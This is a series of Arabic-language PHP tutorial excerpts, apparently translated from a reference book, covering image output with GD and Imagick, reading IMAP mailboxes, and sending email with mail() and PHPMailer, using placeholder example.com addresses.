المستخدمين في نفس العنقود أحبوا مقالة ما عندها فإنّ هذه المقالة ستظهر عند المستخدمين الباقيين في التوصيات. ترجمة -وبتصرف- للفصل [Machine learning] من كتاب PHP Notes for Professionals book اقرأ أيضًا المقال التالي: التخزين المؤقت (Cache) ومقابس الويب (Webscockets) في PHP المقال السابق: معالجة الصور مع مكتبة GD ومكتبة Imagick في PHP
  20. خرج الصورة يمكن إنشاء صورة باستخدام دوال image*‎ حيث * هي صيغة الملف، وهذه الدوال لها الصيغة المشتركة التالية: bool image___(resource $im [, mixed $to [ other parameters]] ) الحفظ إلى ملف يمكنك تمرير اسم الملف أو مجرى ملف مفتوح للمتغير ‎$to إذا كنت تريد حفظ الصورة إلى ملف، إذا مررت مجرى فلا تحتاج لإغلاقه لأنّ مكتبة GD تغلقه تلقائيًا، مثلًا لحفظ ملف PNG: imagepng($image, "/path/to/target/file.png"); $stream = fopen("phar://path/to/target.phar/file.png", "wb"); imagepng($image2, $stream); // لا حاجة لإغلاق المجرى تأكد عند استخدام fopen من أنك تستخدم الراية b وليس الراية t لأن الملف هو خرج ثنائي، ولا تحاول أن تمرر fopen("php://temp", $f)‎ أو fopen("php://memory", $f)‎ لأنّ الدالة تُغلق المجرى بعد الاستدعاء ولن تبقى قادرًا على استدعائه أو استخدامه لاسترداد محتوياته مثلًا. الخرج كرد HTTP لا تحتاج إلى تمرير شيء (أو مرر null) كوسيط ثانٍ إذا كنت تريد أن ترجع هذه الصورة مباشرةً كرد للصورة (لإنشاء بطاقات ديناميكية مثلًا)، لكنك تحتاج إلى تحديد نوع المحتوى في رد HTTP: header("Content-Type: $mimeType"); ‎$mimeType هو نوع الصياغة المُرجعة في الترويسة MIME مثل image/png وimage/gif وimage/jpeg. الكتابة إلى متغير يوجد طريقتين للكتابة إلى متغير: استخدام المخزن المؤقت للخرج (OB): ob_start(); // ‫تمرير null للكتابة افتراضيًا في مجرى الخرج القياسي imagepng($image, null, $quality); $binary = ob_get_clean(); استخدام مغلِّف المجرى: قد يكون لديك سبب ما لعدم استخدام المخزن المؤقت للخرج كأن يكون لديك بالفعل مخزن مؤقت قيد التشغيل لذا تحتاج إلى بديل، يمكنك تسجيل مغلَّف مجرى جديد باستخدام الدالة stream_wrapper_register لذا يمكنك تمرير مجرى إلى دالة إظهار الصورة واستعادته لاحقًا. <?php class GlobalStream{ private $var; public function stream_open(string $path){ this->var =& $GLOBALS[parse_url($path)["host"]]; return true; } public function stream_write(string $data){ $this->var .= $data; return strlen($data); } } stream_wrapper_register("global", GlobalStream::class); $image = imagecreatetruecolor(100, 100); imagefill($image, 0, 0, imagecolorallocate($image, 0, 0, 0)); $stream = fopen("global://myImage", ""); imagepng($image, $stream); echo base64_encode($myImage); في هذا المثال يكتب الصنف GlobalStream أي دخل إلى المتغير المرجعي (أي الكتابة بشكل غير مباشر إلى المتغير العام للاسم المعطى)، يمكن استرجاع المتغير العام لاحقًا بشكلٍ مباشر. يجب الانتباه إلى عدة أمور: صنف مغلِّف المجرى المنفَّذ بشكلٍ كامل يجب أن يشبه هذا الصنف لكن وفقًا للاختبارات باستخدام تابع ‎__call السحري فإنّه من الممكن استدعاء stream_open وstream_write وstream_close فقط من الدوال الداخلية. لا توجد رايات مطلوبة في استدعاء fopen لكن يجب أن تمرر سلسلة فارغة على الأقل، لأنّ الدالة fopen تتوقع مثل هذا المعامل، حتى لو لم تستخدمها في تنفيذ stream_open يبقى هذا المعامل مطلوبًا. تستدعى الدالة stream_write عدة مرات وفقًا للاختبارات، تذكر أن تستخدم إسناد الدمج ‎.=‎ وليس إسناد المتغير المباشر =. مثال: في وسم <img> في HTML، يمكن توفير صورة بشكلٍ مباشر بدلًا من استخدام رابط خارجي: echo '<img src="data:image/png;base64,' . base64_encode($binary) . '">'; إنشاء صورة نستخدم الدالة imagecreatetruecolor لإنشاء صورة فارغة: $img = imagecreatetruecolor($width, $height); المتغير ‎$img‎ هو متغير مورد الآن بعرض ‎$width وطول ‎$height بكسل، لاحظ أنّ العرض يُحسب من اليسار إلى اليمين والطول من الأعلى إلى الأسفل. يمكن أن يُنشأ أيضًا مورد الصورة من دوال إنشاء الصورة مثل imagecreatefrompng وimagecreatefromjpeg ودوال imagecreatefrom*‎ أخرى. قد تُحرَّر موارد الصورة لاحقًا عندما لا توجد مراجع إليها، لكن لتحرير الذاكرة بشكلٍ مباشر (قد يكون هذا مهمًا عند معالجة عدة صور كبيرة) يمكننا استخدام imagedestroy()‎ على الصورة عندما لا تبقى حاجة لاستخدامها وتكون هذه ممارسة جيدة. imagedestroy($image); تحويل صورة إنّ الصور التي تُنشأ من تحويل الصور لا تعدّل الصورة حتى تُخرجها، لذا يمكن أن يكون محوِّل الصورة ببساطة عبارة عن ثلاثة أسطر من الشيفرة: function convertJpegToPng(string $filename, string $outputFile) { $im = imagecreatefromjpeg($filename); imagepng($im, $outputFile); imagedestroy($im); } اقتصاص الصورة وتغيير حجمها يمكنك استخدام الدالة imagecopyresampled إذا كان لديك صورة وتريد إنشاء صورة جديدة بأبعاد جديدة، أنشئ أولًا صورة جديدة بالأبعاد المرغوبة: // صورة جديدة $dst_img = imagecreatetruecolor($width, $height); خزّن الصورة الأصلية في متغير، يمكنك القيام بذلك باستخدام إحدى دوال createimagefrom*‎ حيث يمكن أن تكون * هي jpeg أو gif أوpng أوstring، مثال: // الصورة الأصلية $src_img=imagecreatefromstring(file_get_contents($original_image_path)); ثم استخدم الدالة imagecopyresampled لنسخ كل الصورة الأصلية (أو جزء منها) (src_img) إلى الصورة الجديدة (dst_img): imagecopyresampled($dst_img, $src_img, $dst_x ,$dst_y, $src_x, $src_y, $dst_width, $dst_height, $src_width, $src_height); لضبط أبعاد src_*‎ و‎dst_*‎، استخدم الصورة التالية: إذا كنت تريد الآن نسخ كامل الصورة المصدر (الأصلية) إلى كامل منطقة الهدف (بدون اقتصاص): $src_x = $src_y = $dst_x = $dst_y = 0; // عرض الصورة الجديدة $dst_width = $width; // طول الصورة الجديدة $dst_height = $height; // عرض الصورة الأصلية $src_width = imagesx($src_img); // طول الصورة الأصلية $src_height = imagesy($src_img); مكتبة Imagick التثبيت باستخدام apt في الأنظمة المعتمدة على Debian: sudo apt-get install php5-imagick باستخدام Homebrew في أنظمة OSX/macOs: brew install imagemagick باستخدام الإصدارات الثنائية: التعليمات في موقع imagemagick. الاستخدام <?php $imagen = new Imagick('imagen.jpg'); // ‫إذا وضعت قيمة المعامل 0 ستتم المحافظة على نسبة العرض $imagen->thumbnailImage(100, 0); echo $imagen; ?> تحويل صورة إلى سلسلة نصية بالأساس 64 يُظهر هذا المثال كيفية تحويل صورة إلى سلسلة نصية بالأساس 64 (أي سلسلة نصية يمكنك استخدامها مباشرةً في السمة src لوسم img)، يستخدم هذا المثال مكتبة Imagick لكن يمكن استخدام مكتبات أخرى مثل GD. <?php // (1) $img = new Imagick('image.jpg'); // (2) $img->resizeImage(320, 240); // (3) $imgBuff = $img->getimageblob(); // (4) $img->clear(); // (5) $img = base64_encode($imgBuff); echo "<img alt='Embedded Image' src='data:image/jpeg;base64,$img' />"; في الموضع (1) يُحمَّل الملف image.jpg للمعالجة، مسار الملف نسبي إلى ملف ‎.php‎ المتضمن هذه الشيفرة لذا في هذا المثال يجب أن يكون ملف image.jpg في نفس مجلد السكربت. في الموضع (2) يتغير حجم الصورة للحجم المُعطى كطول وعرض وإذا أردت تغيير دقة الصورة أيضًا مع تغيير الحجم يمكنك استخدام الدالة ‎$img->resampleimage(320, 240)‎، لاحظ أنّه يمكنك ضبط المعامل الثاني إلى 0 للمحافظة على نسبة عرض الصورة. في الموضع (3) تُرجع الدالة تمثيل الصورة على شكل سلسلة نصية غير مشفرة. في الموضع (4) يُزال المورد image.jpg من الكائن ‎$img‎ ويُدمَّر الكائن مما يحرر موارد النظام المحجوزة لمعالجة الصورة. في الموضع (5) تُنشأ نسخة بتشفير الأساس 64 من السلسلة النصية السابقة غير المشفرة ثم تُعرَض كصورة في الصفحة، لاحظ أنّه قد يتغير الجزء image/jpeg في السمة src وذلك بالاعتماد على نوع الصورة التي تستخدمها (png أوjpeg مثلًا). ترجمة -وبتصرف- للفصول [Image Processing with GD - Imagick] من كتاب PHP Notes for Professionals book اقرأ أيضًا المقال التالي: مدخل إلى تعلم الآلة (Machine learning) في PHP المقال السابق: اصطلاحات ومواضيع متفرقة مهمة لكل مبرمج PHP
  21. الاتصال إلى صندوق البريد (mailbox) للقيام بأي فعل مع حساب IMAP (‏Internet Message Access Protocol) تحتاج للاتصال به أولًا، ولتتصل تحتاج لتحديد بعض المعاملات المطلوبة: اسم الخادم أو عنوان IP لخادم البريد (mail server). المنفذ الذي تريد الاتصال به: منفذ IMAP هو 143 أو993 (آمن). منفذ POP (‏Post Office Protocol‏) هو 110 أو995 (آمن). منفذ SMTP (‏Simple Mail Transfer Protocol) هو 25 أو465 (آمن). منفذ NNTP (‏Network News Transfer Protocol) هو 119 أو563 (آمن). رايات الاتصال: موضحة في الجدول التالي: الراية الوصف الخيارات القيمة الافتراضية ‎/service=service الخدمة التي نريد استخدامها imap,pop3,nntp, smtp imap ‎/user=user اسم المستخدم البعيد لتسجيل الدخول على الخادم ‎/authuser=user مستخدم المصادقة عن بعد، إذا حُدِّد فهذا هو اسم المستخدم الذي تُستخدم كلمة المرور الخاصة به ‎/anonymous الوصول البعيد كمستخدم غريب ‎/debug تسجيل بروتوكول القياس عن بعد في سجل أخطاء التطبيق disabled ‎/secure لا ترسل كلمة المرور كنص عادي عبر الشبكة ‎/norsh ‫لا تستخدم rsh أو ssh لتأسيس جلسة IMAP مسبقة الوثوقية ‎/ssl استخدم طبقة المقبس الآمنة لتشفير الجلسة ‎/validate-cert ‫ترخيص من خادم TLS/SSL enabled ‎/novalidate-cert ‫لا تتحقق من شهادات الخادم TLS/SSL، نحتاجها إذا كان الخادم يستخدم شهادات ذاتية التوقيع، استخدم هذه الراية بحذر disabled ‎/tls ‫فرض استخدام طريقة start-TLS لتشفير الجلسة ورفض الاتصال بالخوادم التي لا تدعمها ‎/notls لا تستخدم طريقة start-TLS لتشفير الجلسة حتى لو كانت الخوادم تدعمها ‎/readonly ‫طلب فتح صندوق البريد للقراءة فقط (في IMAP فقط، يتم تجاهلها مع NNTP ويعطي خطأ مع SMTP وPOP3) table { width: 100%; } thead { vertical-align: middle; text-align: center; } td, th { border: 1px solid #dddddd; text-align: right; padding: 8px; text-align: inherit; } tr:nth-child(even) { background-color: #dddddd; } ستبدو سلسلة الاتصال بالشكل التالي: {imap.example.com:993/imap/tls/secure} لاحظ أنّه إذا كان أي محرف في سلسة الاتصال غير مرمّز بالترميز ASCII فيجب ترميزه باستخدام utf7_encode($string)‎. نستخدم الأمر imap open للاتصال إلى صندوق البريد، يعيد هذا الأمر قيمة مورد تشير إلى مجرى: <?php $mailbox = imap_open("{imap.example.com:993/imap/tls/secure}", "username", "password"); if ($mailbox === false) { echo "Failed to connect to server"; } تحميل الإضافة IMAP نحتاج لتثبيت الإضافة IMAP حتى نتمكن من استخدام دوال IMAP في PHP. التثبيت في نظام ديبيان/أبونتو مع PHP5 sudo apt-get install php5-imap sudo php5enmod imap التثبيت في نظام ديبيان/أبونتو مع PHP5 sudo apt-get install php7.0-imap التثبيت في التوزيعات المعتمدة على YUM sudo yum install php-imap التثبيت في إصدارات نظام التشغيل ماك مع php5.6 brew reinstall php56 --with-imap إنشاء قائمة بكل مجلدات صندوق البريد عندما تتصل بصندوق البريد الخاص بك، سترغب في إلقاء نظرة بداخله، الأمر الأول المفيد في هذه الحالة هو imap list، المعامل الأول هو المورد الذي حصلت عليه من imap_open والثاني هو صندوق البريد الخاص بك والثالث سلسلة بحث غامضة (نستخدم * لمطابقة أي نمط). $folders = imap_list($mailbox, "{imap.example.com:993/imap/tls/secure}", "*"); if ($folders === false) { echo "Failed to list folders in mailbox"; } else { print_r($folders); } يجب أن يكون الخرج مشابهًا للتالي: Array ( [0] => {imap.example.com:993/imap/tls/secure}INBOX [1] => {imap.example.com:993/imap/tls/secure}INBOX.Sent [2] => {imap.example.com:993/imap/tls/secure}INBOX.Drafts [3] => {imap.example.com:993/imap/tls/secure}INBOX.Junk [4] => {imap.example.com:993/imap/tls/secure}INBOX.Trash ) يمكننا استخدام المعامل الثالث لترشيح هذه النتائج بالشكل التالي: $folders = imap_list($mailbox, "{imap.example.com:993/imap/tls/secure}", "*.Sent"); عندها ستحتوي النتيجة على المداخل التي فيها السلسلة النصية ‎.Sent في الاسم: Array ( [0] => {imap.example.com:993/imap/tls/secure}INBOX.Sent ) ملاحظة: سيعيد استخدام * للبحث الغامض كل التطابقات بشكلٍ متكرر، ويعيد استخدام % التطابقات في المجلد الحالي المحدد فقط. البحث عن الرسائل في صندوق البريد يمكنك أن تستخدم imap_headers لتحصل على قائمة بكل الرسائل الموجودة في صندوق البريد. <?php $headers = imap_headers($mailbox); تكون النتيجة مصفوفة من السلاسل النصية بالنمط التالي: [FLAG] [MESSAGE-ID])[DD-MM-YYY] [FROM ADDRESS] [SUBJECT TRUNCATED TO 25 CHAR] ([SIZE] chars) إليك عينة عن الشكل الذي سيبدو عليه كل سطر: A 1)19-Aug-2016 someone@example.com Message Subject (1728 chars) D 2)19-Aug-2016 someone@example.com RE: Message Subject (22840 chars) U 3)19-Aug-2016 someone@example.com RE: RE: Message Subject (1876 chars) N 4)19-Aug-2016 someone@example.com RE: RE: RE: Message Subje (1741 chars) الرمز الراية المعنى A Answered تم الرد على هذه الرسالة D Deleted ‫حُذفت الرسالة (ولم تُزال نهائيًا) F Flagged مُيِّزت هذه الرسالة للفت الانتباه N New الرسالة جديدة ولم تُقرأ بعد R Recent الرسالة جديدة ومقروءة U Unread الرسالة لم تُقرأ بعد X Draft الرسالة مسودة لاحظ أنّ هذا الاستدعاء سيأخذ بعض الوقت ليُنفَّذ وقد يعيد قائمة طويلة جدًا، الخيار البديل هو تحميل الرسائل بشكلٍ منفصل وفقًا للحاجة، يُسند معرِّف لكل بريد إلكتروني من الرقم 1 (الأقدم) وحتى قيمة imap_num_msg($mailbox)‎. يوجد عدة دوال للوصول إلى بريد إلكتروني مباشرةً، لكن أبسط طريقة هي استخدام الدالة imap_header التي تُرجع معلومات ترويسة مهيكلة: <?php $header = imap_headerinfo($mailbox , 1); stdClass Object ( [date] => Wed, 19 Oct 2011 17:34:52 +0000 [subject] => Message Subject [message_id] => <04b80ceedac8e74$51a8d50dd$0206600a@user1687763490> [references] => <ec129beef8a113c941ad68bdaae9@example.com> [toaddress] => Some One Else <someoneelse@example.com> [to] => Array ( [0] => stdClass Object ( [personal] => Some One Else [mailbox] => someonelse [host] => example.com ) ) [fromaddress] => Some One <someone@example.com> [from] => Array ( [0] => stdClass Object ( [personal] => Some One [mailbox] => someone [host] => example.com ) ) [reply_toaddress] => Some One <someone@example.com> [reply_to] => Array ( [0] => stdClass Object ( [personal] => Some One [mailbox] => someone [host] => example.com ) ) [senderaddress] => Some One <someone@example.com> [sender] => Array ( [0] => stdClass Object ( [personal] => Some One [mailbox] => someone [host] => example.com ) ) [Recent] => [Unseen] => [Flagged] => [Answered] => [Deleted] => [Draft] => [Msgno] => 1 [MailDate] => 19-Oct-2011 17:34:48 +0000 [Size] => 1728 [udate] => 1319038488 ) ترجمة -وبتصرف- للفصول [IMAP] من كتاب PHP Notes for Professionals book اقرأ أيضًا المقال التالي: التعامل مع واجهة سطر الأوامر (CLI) في PHP المقال السابق: كيفية إرسال بريد إلكتروني في PHP
  22. معاملات الدالة mail()‎ في PHP: المعامل تفاصيل string $to عنوان البريد الإلكتروني للمستقبل string $subject الموضوع string $message محتوى البريد الإلكتروني string $additional_headers معامل اختياري: ترويسات لإضافتها إلى البريد الإلكتروني string $additional_parameters معامل اختياري: وسائط لتمريرها إلى تطبيق البريد الإلكتروني المرسل المُعد في سطر الأوامر table { width: 100%; } thead { vertical-align: middle; text-align: center; } td, th { border: 1px solid #dddddd; text-align: right; padding: 8px; text-align: inherit; } tr:nth-child(even) { background-color: #dddddd; } أساسيات إرسال بريد إلكتروني مع مثال يتألف البريد الإلكتروني النموذجي من ثلاثة مكونات أساسية: مُستقبِل (يُمثَّل كعنوان بريد إلكتروني) موضوع جسم الرسالة يمكن أن يكون إرسال بريد إلكتروني بسيطًا مثل استدعاء الدالة المضمنة mail()‎، تأخذ هذه الدالة حتى 5 معاملات، أول ثلاث معاملات هي المطلوبة فقط لإرسال بريد إلكتروني (ومن الشائع استخدام المعامل الرابع كما سنوضح في المثال أدناه)، المعاملات الثلاثة الأولى هي: عنوان البريد الإلكتروني للمستقبل (سلسلة نصية). موضوع البريد الإلكتروني (سلسلة نصية). جسم البريد الإلكتروني (سلسلة نصية) (أي محتوى البريد الإلكتروني). الشيفرة التالية توضح مثال بسيط: mail('recipient@example.com', 'Email Subject', 'This is the email message body'); يعدّ المثال السابق جيدًا في بعض الحالات مثل توفير القيمة في شيفرة (بدلًا من جلبها من مصدر خارجي) عند إرسال بريد إلكتروني للتنبيه في نظام داخلي. لكن من الشائع وضع المعاملات الممررة كمعاملات للدالة mail()‎ في متغيرات لجعل الشيفرة أنظف وأسهل في الإدارة (مثلًا لإنشاء بريد إلكتروني ديناميكي بعد إرسال نموذج). بالإضافة إلى ذلك تقبل الدالة mail()‎ معاملًا رابعًا يسمح لك بإضافة ترويسات في البريد الإلكتروني المرسل، يمكن أن تسمح لك هذه الترويسات بضبط: اسم المرسل وعنوان البريد الإلكتروني الذي سيظهر لدى المستخدم. عنوان البريد الإلكتروني للحقل Reply-To والذي سيُرسل إليه رد المستخدم. ترويسات إضافية غير معيارية مثل X-Mailer والتي تخبر المستقبل أن هذا البريد الإلكتروني أُرسل عبر PHP. // ‫يمكن أن تكون ‎$to = $_POST['recipient'];‎ $to = 'recipient@example.com'; // ‫يمكن أن تكون ‎$subject = $_POST['subject'];‎ $subject = 'Email Subject'; // ‫يمكن أن تكون ‎$message = $_POST['message'];‎ $message = 'This is the email message body'; $headers = implode("\r\n", [ 'From: John Conde <webmaster@example.com>', 'Reply-To: webmaster@example.com', 'X-Mailer: PHP/' . PHP_VERSION ]); يمكن أن يُستخدم المعامل الخامس الاختياري لتمرير رايات إضافية مثل خيارات سطر الأوامر إلى البرنامج المُعدّ ليستخدم عند إرسال بريد إلكتروني كما هو معرَّف في ضبط الإعداد sendmail_path، يمكن استخدامه مثلًا لضبط عنوان المرسل عند استخدام الأمر sendmail/postfix مع الخيار ‎-f لإرسال بريد إلكتروني. $fifth = '-fno-reply@example.com'; على الرغم من أن استخدام الدالة mail()‎ يمكن أن يكون موثوقًا إلى حد كبير، إلا أنّه لا يوجد ما يضمن إرسال البريد الإلكتروني عند كل استدعاء لها، لذا يجب أن تلتقط القيمة المُرجعة منها لتعرف ما إذا كان هناك خطأ محتمل عند إرسال بريدك الإلكتروني، إذ أنّ الدالة ستُرجع القيمة TRUE إذا قُبل البريد الإلكتروني بنجاح للتسليم وإلا ستُرجع القيمة FALSE. $result = mail($to, $subject, $message, $headers, $fifth); ملاحظة: إنّ إرجاع الدالة mail()‎ للقيمة TRUE لا يعني أنّ البريد الإلكتروني أُرسل أو أنّه سيُستقبَل بنجاح، إنما فقط يدل على أنّ البريد الإلكتروني سُلِّم بنجاح إلى نظام البريد الإلكتروني الخاص بك. تحتاج إلى بعض الخطوات الإضافية لترسل بريد إلكتروني بصيغة HTML: إضافة الترويسة MIME-Version. إضافة الترويسة Content-Type. التأكد من أنّ محتوى البريد الإلكتروني بصيغة HTML. $to = 'recipient@example.com'; $subject = 'Email Subject'; $message = '<html><body>This is the email message body</body></html>'; $headers = implode("\r\n", [ 'From: John Conde <webmaster@example.com>', 'Reply-To: webmaster@example.com', 'MIME-Version: 1.0', 'Content-Type: text/html; charset=ISO-8859-1', 'X-Mailer: PHP/' . PHP_VERSION ]); إليك مثال كامل لاستخدام الدالة mail()‎: // ‫أدوات تنقيح الأخطاء، شغّلها في بيئة التطوير الخاصة بك فقط. error_reporting(-1); ini_set('display_errors', 'On'); set_error_handler("var_dump"); // ‫إعدادات بريد إلكتروني خاصة يمكن أن تقلل من احتمال جعل البريد الإلكتروني الخاص بك غير مرغوب فيه وتوفر تسجيل دخول في حالة وجود صعوبات تقنية. ini_set("mail.log", "/tmp/mail.log"); ini_set("mail.add_x_header", TRUE); // مكونات بريدنا الإلكتروني $to = 'recipient@example.com'; $subject = 'Email Subject'; $message = 'This is the email message body'; $headers = implode("\r\n", [ 'From: webmaster@example.com', 'Reply-To: webmaster@example.com', 'X-Mailer: PHP/' . PHP_VERSION ]); // إرسال البريد الإلكتروني $result = mail($to, $subject, $message, $headers); // ‫التحقق من النتائج والتفاعل وفقًا لذلك. if ($result) { // (1) header('Location: http://example.com/path/to/thank-you.php', true, 303); exit; } else { // (2) } في الموضع (1) تكون الدالة أرجعت القيمة TRUE وسيُعاد التوجيه إلى صفحة thank-you، نستخدم النمط POST/REDIRECT/GET لمنع إعادة إرسال النموذج عندما يحدّث المستخدم الصفحة. في الموضع (2) لم يُرسل البريد الإلكتروني، تحقق من السجلات لمعرفة السبب. يمكنك الاطلاع أيضًا على: التوثيق الرسمي: mail إعدادات الدالة mail أسئلة ذات صلة من موقع stack overflow: الدالة mail لا تُكمل إرسال البريد الإلكتروني. كيف تتأكد من أنّ بريدك الإلكتروني المُرسل لا يُصنف ضمن البريد الإلكتروني غير المرغوب فيه. كيف تستخدم SMTP لإرسال بريد إلكتروني. ضبط إعدادات مرسل البريد الإلكتروني. خدمات بريد إلكتروني بديلة: PHPMailer‏ SwiftMailer PEAR::Mail مخدمات بريد إلكتروني: Mercury Mail (Windows) مواضيع ذات صلة: Post/Redirect/Get إرسال بريد إلكتروني يحتوي على صيغة HTML باستخدام الدالة mail()‎ <?php $to = 'recipent@example.com'; $subject = 'Sending an HTML email using mail() in PHP'; $message = '<html><body><p><b>This paragraph is bold.</b></p><p><i>This text is italic.</i></p></body></html>'; $headers = implode("\r\n", [ "From: John Conde <webmaster@example.com>", "Reply-To: webmaster@example.com", "X-Mailer: PHP/" . PHP_VERSION, "MIME-Version: 1.0", "Content-Type: text/html; charset=UTF-8" ]); mail($to, $subject, $message, $headers); لا يختلف هذا كثيرًا عن إرسال بريد إلكتروني يحتوي على نص بسيط⁢، الاختلافات الرئيسة هي أنّ المحتوى عبارة عن ملف HTML ويوجد ترويستين إضافيتين يجب تضمينهما حتى يعرف البريد الإلكتروني للعميل أنّ البريد الإلكتروني بصيغة HTML وهما: MIME-Version: 1.0 Content-Type: text/html; charset=UTF-8 إرسال بريد إلكتروني مع مرفق باستخدام الدالة mail()‎ إليك المثال التالي: <?php $to = 'recipient@example.com'; $subject = 'Email Subject'; $message = 'This is the email message body'; $attachment = '/path/to/your/file.pdf'; $content = file_get_contents($attachment); // (1) $content = chunk_split(base64_encode($content)); //(2) $prefix = "part_"; // (3) // (4) $boundary = uniqid($prefix, true); // الترويسات $headers = implode("\r\n", [ 'From: webmaster@example.com', 'Reply-To: webmaster@example.com', 'X-Mailer: PHP/' . PHP_VERSION, 'MIME-Version: 1.0', // معامل الحد مطلوب ويجب أن يكون ضمن علامات اقتباس 'Content-Type: multipart/mixed; boundary="' . $boundary . '"', "Content-Transfer-Encoding: 7bit", "This is a MIME encoded message." // message for restricted transports ]); // الرسالة والمرفق $message = implode("\r\n", [ "--" . $boundary, // (5) 'Content-Type: text/plain; charset="iso-8859-1"', "Content-Transfer-Encoding: 8bit", $message, "--" . $boundary, // (6) 'Content-Type: application/octet-stream; name="RenamedFile.pdf"', "Content-Transfer-Encoding: base64", "Content-Disposition: attachment", $content, "--" . $boundary . "--" // (7) ]); // إرسال البريد الإلكتروني $result = mail($to, $subject, $message, $headers); if ($result) { // (8) header('Location: http://example.com/path/to/thank-you.php', true, 303); exit; } else { // (9) } في الموضع (1) يجب تقسيم محتوى المرفق المُرسل باستخدام تشفير Base64 إلى أجزاء بطول 76 محرفًا كما هو محدد في القسم 6.8 من RFC 2045، تستخدم الدالة chunk_split()‎ بشكلٍ افتراضي طول الجزء 76 مع CRLF زائدة ‎(\r\n)‎، لا يتضمن متطلب 76 محرفًا المحارف carriage return وline feed. في الموضع (2) تحدد الحدود الكيانات متعددة الأجزاء، يجب ألا يكون الحد في أي جزء مغلف كما هو مذكور في القسم 5.1 من RFC 2046 لذا يجب أن يكون فريدًا، وكما هو مذكور في القسم 5.1.1 التالي فإنّ الحدّ يُعرَّف على أنّه خط يتألف من موصلين ("--") وقيمة معامل ومسافة خطية اختيارية وCRLF نهائية. في الموضع (3) بادئة اختيارية. في الموضع (4) إنشاء قيمة معامل حد فريدة مع البادئة باستخدام الدالة uniqid()‎، المعامل الثاني يجعل قيمة المعامل فريدة أكثر. في الموضع (5) محدد حد الترويسة في الموضع (6) محدد حد المحتوى في الموضع (7) محدد حد الإغلاق في الموضع (8) تكون الدالة أرجعت القيمة TRUE وسيُعاد التوجيه إلى صفحة thank-you، نستخدم النمط POST/REDIRECT/GET لمنع إعادة إرسال النموذج عندما يحدّث المستخدم الصفحة. في الموضع (9) لم يُرسل البريد الإلكتروني، تحقق من السجلات لمعرفة السبب. ترميز نقل المحتوى الترميزات المتاحة هي 7 بت، 8 بت، الثنائي، مقتبس قابل للطباعة (quoted-printable)، الأساس 64 (base64)، ‏ietf-token وx-token، من هذه الترميزات عندما يكون Content-Type متعدد الأجزاء فإنّ ترميز نقل المحتوى يجب ألّا يكون أي قيمة أخرى غير 7 بت أو 8 بت أو ثنائي. نختار في مثالنا ترميز 7 بت الذي يمثّل محارف US-ASCII للترويسة متعددة الأجزاء لأنّ بعض البروتوكولات تدعم هذا الترميز فقط، ويمكن بعدها تشفير البيانات ضمن الحدود على أساس كل جزء على حدة، وهذا ما يفعله هذا المثال بالضبط. الجزء الأول الذي يتضمن رسالة من النوع text/plain يُعرَّف على أنّه 8 بت بما أنّه قد يكون من الضروري أن يدعم محارف إضافية، في هذه الحالة تُستخدم مجموعة المحارف Latin1 (iso-8859-1)‎، الجزء الثاني هو المرفق لذا يُعرَّف على أنّه بترميز الأساس 64 application/octet-stream. بما أنّ الأساس 64 يحوّل البيانات إلى المجال 7 بت، يمكن أن تُرسَل عبر عمليات نقل مقيدة. إرسال بريد إلكتروني يحتوي على نص بسيط باستخدام PHPMailer بريد إلكتروني يحتوي على نص بسيط <?php $mail = new PHPMailer(); $mail->From = "from@example.com"; $mail->FromName = "Full Name"; $mail->addReplyTo("reply@example.com", "Reply Address"); $mail->Subject = "Subject Text"; $mail->Body = "This is a sample basic text email using PHPMailer."; if($mail->send()) { // (1) header('Location: http://example.com/path/to/thank-you.php', true, 303); exit; } else { echo "Mailer Error: " . $mail->ErrorInfo; } في الموضع (1) تكون الدالة أرجعت القيمة TRUE وسيُعاد التوجيه إلى صفحة thank-you، نستخدم النمط POST/REDIRECT/GET لمنع إعادة إرسال النموذج عندما يحدّث المستخدم الصفحة. إضافة مستقبلين إضافيين، مستقبلين نسخة إضافية (CC)، مستقبلين نسخة إضافية محجوبين (BCC) <?php $mail = new PHPMailer(); $mail->From = "from@example.com"; $mail->FromName = "Full Name"; $mail->addReplyTo("reply@example.com", "Reply Address"); $mail->addAddress("recepient1@example.com", "Recepient Name"); $mail->addAddress("recepient2@example.com"); $mail->addCC("cc@example.com"); $mail->addBCC("bcc@example.com"); $mail->Subject = "Subject Text"; $mail->Body = "This is a sample basic text email using PHPMailer."; if($mail->send()) { // (1) header('Location: http://example.com/path/to/thank-you.php', true, 303); exit; } else { echo "Error: " . $mail->ErrorInfo; } في الموضع (1) تكون الدالة أرجعت القيمة TRUE وسيُعاد التوجيه إلى صفحة thank-you، نستخدم النمط POST/REDIRECT/GET لمنع إعادة إرسال النموذج عندما يحدّث المستخدم الصفحة. إرسال بريد إلكتروني باستخدام PHPMailer إليك مثال عن إرسال بريد إلكتروني يحتوي على صيغة HTML باستخدام PHPMailer: <?php $mail = new PHPMailer(); $mail->From = "from@example.com"; $mail->FromName = "Full Name"; $mail->addReplyTo("reply@example.com", "Reply Address"); $mail->addAddress("recepient1@example.com", "Recepient Name"); $mail->addAddress("recepient2@example.com"); $mail->addCC("cc@example.com"); $mail->addBCC("bcc@example.com"); $mail->Subject = "Subject Text"; $mail->isHTML(true); $mail->Body = "<html><body><p><b>This paragraph is bold.</b></p><p><i>This text is italic.</i></p></body></html>"; $mail->AltBody = "This paragraph is not bold.\n\nThis text is not italic."; if($mail->send()) { // (1) header('Location: http://example.com/path/to/thank-you.php', true, 303); exit; } else { echo "Error: " . $mail->ErrorInfo; } في الموضع (1) تكون الدالة أرجعت القيمة TRUE وسيُعاد التوجيه إلى صفحة thank-you، نستخدم النمط POST/REDIRECT/GET لمنع إعادة إرسال النموذج عندما يحدّث المستخدم الصفحة. إرسال بريد إلكتروني مع مرفق باستخدام PHPMailer <?php $mail = new PHPMailer(); $mail->From = "from@example.com"; $mail->FromName = "Full Name"; $mail->addReplyTo("reply@example.com", "Reply Address"); $mail->Subject = "Subject Text"; $mail->Body = "This is a sample basic text email with an attachment using PHPMailer."; // إضافة مرفق ثابت $attachment = '/path/to/your/file.pdf'; $mail->AddAttachment($attachment , 'RenamedFile.pdf'); // ‫إضافة مرفق ثانٍ يُنشأ وقت التنفيذ مثل CSV ليُفتح باستخدام إكسل $csvHeader = "header1,header2,header3"; $csvData = "row1col1,row1col2,row1col3\nrow2col1,row2col2,row2col3"; $mail->AddStringAttachment($csvHeader ."\n" . $csvData, 'your-csv-file.csv', 'base64', 'application/vnd.ms-excel'); if($mail->send()) { // (1) header('Location: http://example.com/path/to/thank-you.php', true, 303); exit; } else { echo "Error: " . $mail->ErrorInfo; } في الموضع (1) تكون الدالة أرجعت القيمة TRUE وسيُعاد التوجيه إلى صفحة thank-you، نستخدم النمط 